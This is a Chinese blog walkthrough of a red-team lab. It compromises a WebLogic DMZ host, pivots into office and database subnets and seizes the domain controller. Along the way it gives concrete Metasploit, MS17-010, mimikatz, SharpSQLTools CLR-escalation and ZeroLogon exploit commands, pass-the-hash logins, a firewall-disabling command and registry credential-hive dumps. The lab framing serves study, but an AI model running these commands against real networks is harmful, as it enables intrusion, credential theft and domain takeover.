背景:摸鱼时刻,偶然刷到渗透攻击红队公众号开了一个内网渗透靶场,正在学习内网渗透的我摩拳擦掌。下面是我在测试过程的一些记录,大佬勿喷~~
全程使用msf,没有使用cs。感觉新手先把msf用明白之后,再用图形化的cs,会对个人理解整个内网渗透过程会理解地更清晰。
环境配置
靶场下载
靶场下载地址:
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2

相关密码
解压密码:saulGoodman.cn@redteam.red
域控:Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码:redteam!@#45
主机名:owa
域管理员:administrator:Admin12345
域内服务器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非约束委派)
主机名:sqlserver-2008
本地管理员:Administrator:Admin12345
域账户:redteam\sqlserver:Server12345 (被配置了约束委派)
Mssql:sa:sa
域内个人 PC:Windows 7
主机名:work-7
本地管理员:john:admin!@#45
域账户:redteam\saul:admin!@#45
单机服务器:Windows server r2 + weblogic
主机名:weblogic
本地管理员:Administrator:Admin12345
其他域用户:
域服务账户:redteam\sqlserver:Server12345 (被配置了约束委派)
邮件用户:redteam\mail:admin!@#45
加域账户:redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非约束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
环境配置
- 单机服务器:Windows server r2 + weblogic
在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
, 双击startWebLogic.cmd启动weblogic,不然扫描不到7001端口。

渗透过程
DMZ区
首先拿到了目标的 IP:192.168.52.132,对该 IP 使用 Nmap 进行端口扫描:
nmap 192.168.52.132 -Pn -T3 -sV --open -v
发现开放了3个端口,其中有一个是7001

重点关注的端口,打开看一下:http://192.168.52.132:7001/
熟悉的界面
此时,掏出扫描器,开启乱杀

挑个容易操作的CVE-2019-2725(XMLDecoder反序列化漏洞),payload打上

上传webshell:
http://192.168.52.132:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

发现目标出网

办公区
一般拿下一台DMZ区域的机器后,除了权限维持和权限提升,对于横向渗透红队会主要分两路进行下一步动作:一方面是判断机器是否为多网卡机器,然后扫描其他网段,以图发现更多存在漏洞的机器;另一方面,安排人手尽量收集机器上面的敏感信息,比如敏感内部文件、账号密码本等,帮助一队快速突破。
由于已经是administrator,不需要提权,下一步
通过查看DMZ机器上面的进程信息,发现无AV(实际极少碰到),于是上线到msf,方便操作
为了便于操作,我个人使用的是web_delivery,运行powershell脚本,实际测试可以有多种方法
run一下
再利用weblogic漏洞的payload或已上传的webshell执行一下,上图箭头的powershell命令,即可上线
发现当前机器是有两张网卡,其中 10 是内网网卡,于是添加路由扫描10.10.20.0/24网段。
sessions 1
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p

扫描
use auxiliary/scanner/smb/smb_version
set rhosts 10.10.20.1-10.10.20.244
run
当然,为了便于实验,可以直接设置set rhosts 10.10.20.7
发现该网段存在一台win7
扫描一下ms17-010
search 17-010
use 3
set rhost 10.10.20.7
run
存在漏洞
直接打一下
search 17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
run
失败了
此处有一个小插曲,前面使用的是WSL的kali,后面使用虚拟机的kali就成功了,可能是因为网络问题(不清楚,有师傅可以指点下)

此时,办公区的PC win7已经拿下
通过调用 mimikatz 抓取其域用户的密码
用户名:REDTEAM\saul
密码:admin!@#45

数据库区
在办公区win7机器上发现另一个网段10.10.10.0/24
添加路由
sessions 2
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p

继续扫描新网段
发现两台新机器:10.10.10.8和10.10.10.18
其中,发现10.10.10.18的机器名是SQLSERVER-2008,应该是数据库区的机器
上传fscan扫描一下端口

果然开启1433端口,fscan随便还把其弱口令扫出来了,利器!
msf开启代理隧道,掏出SharpSQLTools工具
发现是低权限账号
尝试clr提权
参考文章:
https://cloud.tencent.com/developer/article/1736431
命令如下:
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
成功提权到system权限

由于10.10.10.18状态机器不出网,于是使用exploit/windows/mssql/mssql_clr_payload模块,先将低权限账号上线到msf,方便使用隧道将木马上传上去

成功
上传木马
再使用SharpSQLTools工具运行一下,便得到system权限的会话

查看网段信息,没有新的网段了
获取凭证

发现另一个用户:
用户名:sqlserver
密码:Server12345
域控
下一步尝试打域控,那么先要定位域控
常见的定位域控的方法有:
定位域控的常见方法
定位域控方法一:常规知识
扫描内网中同时开放389和53端口的机器
端口:389 服务:LDAP、ILS 说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53 服务:Domain Name Server(DNS) 说明:53端口为DNS(Domain Name Server,域名服务器)
之前扫描10.10.10.0/24段的时候还发现10.10.10.8这台机器,扫描一下端口
正好开启了这两个端口
定位域控方法二:查看域控制器组
net group"domain controllers" /domain
定位域控方法三:查看域控的机器名
nslookup test.com
nslookup -type=SRV _ldap._tcp
定位域控方法四:查看域控当前时间
net time /domain
一般时间服务器为主域控制器
(我是小小的分割线)
以上种种方法都表明,10.10.10.8这台机器是域控无疑,所以全力进攻
CVE-2020-1472
这漏洞在2020年的影响还是蛮大的,在内网渗透进攻域控,一般都会尝试一下
掏出套件,先来PoC看下漏洞是否存在
PoC
用法:secretsdump.py 域名/域控机器名@域控IP -just-dc -no-pass
ohhhhh,完蛋...完..美
导出域控hash
用法:secretsdump.py 域名/域控机器名$@域控IP -just-dc -no-pass
此时尝试导出肯定是是失败的
打一下Exp
用法:python CVE-2020-1472.py 域控nbios名 域控主机名$ 域控IP
python3 cve-2020-1472-exploit.py OWA 10.10.10.8
此时密码已置空
再抓一下hash
的确是空密码
获取域控权限
用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用户名@域控IP
Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam.red/Administrator@10.10.10.8
成功获取域控权限
读取一下flag。其实到这里就已经可以交作业啦!
突破策略,上线msf
得到hash之后,使用MSF PSEXEC模块上线
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.8
run/exploit
失败了,估计是防火墙问题

利用impacket获取的会话,关闭防火墙
netsh advfirewall set allprofiles state off
成功上线

恢复域控密码
实际测试还是恢复域控密码,不然会导致机器脱域
导出sam等文件到本地,命令如下:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

下载完成之后进行删除
del /f system.save
del /f sam.save
del /f security.save
查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

proxychains python3 reinstall_original_pw.py DC 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d

漫长的等待

最终获取的成果如下:
flag如下:
(好人卡??)
机器如下:
总结
本靶场总体难度两颗星,不算难。关键在于测试过程中要有清晰的思路,明白在每一步该收集哪些信息、重点关注哪些漏洞以及对应工具的使用。干说不练假把戏,渗透思路都是在日常渗透逐渐积累起来的,大家可以多多动手!
其实该靶场里面作者还设置有其他很多的漏洞,都是内网常见的漏洞,可以继续把玩,把设置的考点全都找出来,拓展自己在渗透过程中的视野,才能在实际测试中“大开脑洞”。